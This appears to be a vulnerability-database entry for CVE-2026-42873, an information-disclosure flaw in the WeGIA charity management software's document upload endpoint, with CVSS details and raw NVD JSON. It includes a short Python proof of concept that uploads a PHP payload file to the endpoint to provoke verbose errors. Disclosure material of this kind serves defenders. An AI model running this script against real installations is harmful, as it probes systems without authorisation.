CVE-2026-42873

Description

WeGIA is a web manager for charitable institutions. In versions prior to 3.6.10, when attempting to upload a file with malicious content to funcionario/docdependente_upload.php, the application responds with an overly descriptive error message. This leads to information disclosure, effectively increasing the attack surface by providing potential attackers with technical insights to refine their exploits. This vulnerability is fixed in 3.6.10.

CVSS Details

CVSS Score

0.0

Severity

NONE

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WeGIA < 3.6.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-host/funcionario/docdependente_upload.php"

# Prepare a malicious file to trigger the error
# The content is designed to be rejected by the server
files = {
    'file': ('exploit_test.php', '<?php echo "malicious"; ?>', 'application/x-php')
}
data = {
    'other_param': 'value'
}

try:
    # Send POST request to upload endpoint
    response = requests.post(target_url, files=files, data=data)

    # Check if verbose error information is disclosed
    if response.status_code != 200 and "error" in response.text.lower():
        print("[+] Potential Information Disclosure Detected:")
        print(response.text)
    else:
        print("[-] No verbose error detected or upload succeeded.")

except Exception as e:
    print(f"Request failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42873
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42873
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42873/
[4] VulDB https://vuldb.com/cve/CVE-2026-42873
[5] https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwc9-45h6-pw24
[6] https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwc9-45h6-pw24

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42873", "sourceIdentifier": "[email protected]", "published": "2026-05-11T20:25:43.833", "lastModified": "2026-05-13T17:03:32.490", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. In versions prior to 3.6.10, when attempting to upload a file with malicious content to funcionario/docdependente_upload.php, the application responds with an overly descriptive error message. This leads to information disclosure, effectively increasing the attack surface by providing potential attackers with technical insights to refine their exploits. This vulnerability is fixed in 3.6.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N", "baseScore": 0.0, "baseSeverity": "NONE", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 0.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwc9-45h6-pw24", "source": "[email protected]"}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwc9-45h6-pw24", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}